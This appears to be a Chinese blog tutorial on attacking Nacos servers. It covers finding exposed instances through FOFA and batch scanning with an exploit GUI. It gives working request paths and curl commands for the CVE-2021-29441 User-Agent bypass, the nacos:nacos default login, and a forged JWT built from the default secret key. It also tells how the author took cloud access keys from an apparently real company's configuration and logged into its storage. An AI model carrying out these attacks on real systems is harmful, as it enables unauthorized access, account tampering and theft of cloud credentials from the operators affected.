针对Nacos漏洞猎杀的各种骚姿势

黑客大佬 2024-10-17 15:03:01 阅读 91

0x1 前言

这次给师傅们分析的是Nacos相关漏洞挖掘的骚技巧,主要是给师傅们打下nday,让师傅们能够从零基础的小白也可以上手打Nacos的<code>nday(主要给小白看的,大佬勿喷)。然后下面主要介绍了NacosExploitGUI自动化工具的使用,以及使用这个工具打nday的手法,以及要是批量漏洞url怎么扫描利用,总的来讲,下面的漏洞案例复现还是蛮详细的。

0x2 Nacos简介

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

图片

0x3 靶场环境搭建

浅谈

要是师傅看我下面的案例,然后想跟着我一起挖这方面的漏洞的话,没有找到相关实列,可以尝试下上网找一些靶场搭建的方式,然后看看打下Nacos相关nday漏洞。常见的Nacos环境搭建可以在github上下或者使用vulhub靶场一键部署。

两种方式搭建环境:

1、github上下载nacos源码。解压,进入bin目录,运行startup.sh文件,使用以下命令启

动nacos。<code>./startup.sh -m standalone 注:nacos运行环境是java1.8,所以要提前准备

java1.8环境。

从 Github 上下载源码方式

git clone https://github.com/alibaba/nacos.git

cd nacos/

mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U

ls -al distribution/target/

// change the $version to your actual path

cd distribution/target/nacos-server-$version/nacos/bin

下载编译后压缩包方式

您可以从 最新稳定版本:https://github.com/alibaba/nacos/releases 下载 nacos-server-$version.zip 包。

unzip nacos-server-$version.zip 或者 tar -xvf nacos-server-$version.tar.gz

cd nacos/bin

2、还有一种方法就是使用vulnhub靶场直接使用docker拉取环境

Nacos漏洞登录页面如下:

图片

0x4 NacosExploitGUI自动化工具

浅谈

在攻防演练中,<code>Nacos一直是红队攻击的重点目标之一,红队通常需要快速打点,尽快发现系统中的漏洞,并利用它们获取权限。在NacosExploitGUI_v7.0版本中,更新了UI及其各种友好的提示、新增空间测绘功能让打点资产更迅速、修复derby sql注入漏洞在在特殊场景下的编码问题、新增derby sql注入不出网RCE的检测及其利用、 修复配置文件提取接口上限的问题、JraftHessian 反序列化漏洞新增自定义group攻击链路、新增自定义注入内存马密码及其路径、新增注入蚁剑内存马、新增命令执行可反弹shell功能等等。

NacosExploitGUI自动化工具:

https://github.com/charonlight/NacosExploitGUI

上面的这个图形化工具支持下面的几种漏洞扫描类型

<code>Nacos Console 默认口令漏洞

Nacos Derby SQL 注入漏洞(CNVD-2020-67618)

Nacos User-Agent 权限绕过漏洞(CVE-2021-29441)

Nacos serverIdentity 权限绕过漏洞

Nacos token.secret.key 默认配置漏洞(QVD-2023-6271)

Nacos-Client Yaml 反序列化漏洞

Nacos Jraft Hessian 反序列化漏洞(CNVD-2023-45001)

以使用工具进行批量漏洞扫描,可以看到能够扫描到很多的漏洞,其中默认配置漏洞以及默认弱口令漏洞是最为常见的

图片

0x5漏洞猎杀

相关漏洞资产收集

像比如师傅们不知道怎么找nacos相关漏洞的话,其实师傅们就可以直接使用空间检索引擎进行检索,比如常用的就是使用这个icon图标去找相关漏洞,因为很多nacos框架网站并不一定进行了魔改,所以可以使用icon图标进行资产收集,是最简单的

图片

然后就可以使用空间引擎,下面我使用鹰图给师傅们演示下

图片

还有一种方法就是使用FOFA空间语法进行检索相关资产信息

FOFA语句:app=”nacos” && port=”8848”

图片

下面可以看到icon图标,除了开始我们上面的一种,下面还有好几个,

然后看下面的独立IP数量,有上万个,数量很多,那么我们就可以使用自动化扫描工具了,就比如使用我们上面的NacosExploitGUI自动化工具进行批量漏洞匹配

图片

图片

然后确定完漏洞以后,就可以直接进行挨个测试了,比如弱口令进去的,那么就可以进行然后再后台进行一个漏洞测试,扩大危害。

漏洞一:User-Agent权限绕过(CVE-2021-29441)

漏洞描述: 该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。

漏洞影响版本: Nacos <= 2.0.0-ALPHA.1

直接访问下面的目录,可以未授权查看到账号密码

<code>/v1/auth/users?pageNo=1&pageSize=100 //可查看到用户列表

可以看下里面的账号密码,很多情况下账号密码都是这个暴露出来的username

图片

图片

添加用户,访问下面的接口

<code>/v1/auth/users //添加用户

username=hhh&password=123456

User-Agent:Nacos-Server

图片

<code>//查看用户是否添加成功:

/v1/auth/search?username=hhh

curl 'http://IP/v1/auth/search?username=hhh'

//删除用户

curl -X DELETE "http://IP/v1/auth/users?username=hhh"

图片

然后还可以使用我前面介绍的工具哈,直接就可以进行创建用户和删除用户的操作,十分简单便捷,适用于大批量IP渗透测试

图片

漏洞二:默认弱口令漏洞

nacos框架的默认弱口令直接使用工具刚才检索出来了,直接常用的nacos:nacos登录成功

图片

漏洞三:阿里云主机泄露Access Key

然后你可以直接在配置列表中的详情里面查看网站的配置信息,然后去挨个找,因为里面都是云安全的一些环境的配置,里面经常会泄露一些云安全的信息key值等,都是可以进行利用的

图片

比如说里面找到OSS储存桶相关的,然后访问下,尝试打个OSS存储桶漏洞,感兴趣的师傅们可以根据我的这个思路进行测试下

图片

后来我在<code>rokid-ar-security-platform-biz-prod.yml配置详情里面找到了这个东西,这个也是OSS储存桶相关的漏洞,下面的url可以访问下,然后要是有回显的话,然后尝试使用下面的access-key和secret-key进行密钥登录

endpoint: xxxxxxxxxxxxxxx

access-key: xxxxxxxxxxxxxxxxxxxxxxxx

secret-key: xxxxxxxxxxxxxxxxxxxxxxxxxxxx

图片

可以看到这里我直接就登录成功了,且里面都是云空间里面的存储东西,下面可以看到里面的日志信息等

图片

图片

有一些他里面你要是没有找到那个访问的url或者访问不了禁止访问登录连接,那么师傅们可以尝试下下面的这个工具<code>oss-browser,就是专门来连接OSS的

https://github.com/aliyun/oss-browser

图片

直接输入泄露的access-key值,直接使用OSS连接工具就可以直接连接成功了

图片

包括也会使用阿里云的下面的这个连接工具:aliyun-accesskey-Tools

<code>https://github.com/mrknow001/aliyun-accesskey-Tools

参考文章如下:

https://www.freebuf.com/articles/web/255717.html

图片

要是运气好的话们,也就是我们上面的那个直接找到了下面的OSS阿里云主机登录的后台地址,且允许我们直接拿泄露Access Key值进行登录连接,直接可以看到该阿里云服务器云上的所有信息了

图片

漏洞四:token.secret.key默认配置(QVD-2023-6271)

利用刚才的图形化nacos自动化漏洞扫描工具扫出来的一个token.secret.key默认配置(QVD-2023-6271)漏洞,下面就来打下这个洞

图片

使用nacos默认key可进行jwt构造

nacos默认key(token.secret.key值的位置在conf下的application.properties)

<code>SecretKey012345678901234567890123456789012345678901234567890123456789

JWT DATA:

{

"sub": "nacos",

"exp": 1682308800

}

SecretKey012345678901234567890123456789012345678901234567890123456789利用该key构造JWT,可以直接进入后台。

在:https://jwt.io/

payload:

{

"sub": "nacos",

"exp": 1721781819

}

//1721781819是unix的时间戳 需要比系统晚 一般可以改成明天的时间

图片

<code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTc4MTgxOX0.ltShA79EVJaJmhD0zYxtwsx_4K8erjXsorZ5T3RrARw

我们先直接随便输入一个账号密码,然后看看登录失败的返回包

图片

然后把下面的payload复制到数据包中,就可以成功了

<code>payload:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTc4MTgxOX0.ltShA79EVJaJmhD0zYxtwsx_4K8erjXsorZ5T3RrARw

图片

然后再把返回包复制,再利用刚才的网站登录抓包,然后修改返回包,然后放包,就可以直接登录到网站后台了

图片

漏洞五:Spring-Boot漏洞

对于<code>Spring-Boot漏洞,我们可以使用Spring-Boot-Scan漏洞扫描工具

https://github.com/AabyssZG/SpringBoot-Scan

图片

图片

然后进入后台里面有spring-boot相关源代码,都是可以进行分析的,感兴趣的十分可以尝试下

图片

0x6 总结

这篇文章主要是给师傅们分享下Nacos漏洞的相关,给师傅们提供下简单的对于Nacos漏洞的思路,然后里面的案例详细的操作了对于Nacos漏洞的nday漏洞的打法以及使用工具进行批量扫描测试的手法。

更多网络安全优质免费学习资料与干货教程+

送渗透工具、技术文档、书籍,面试题、视频(基础到进阶。环境搭建,HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)、应急响应笔记、学习路线。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。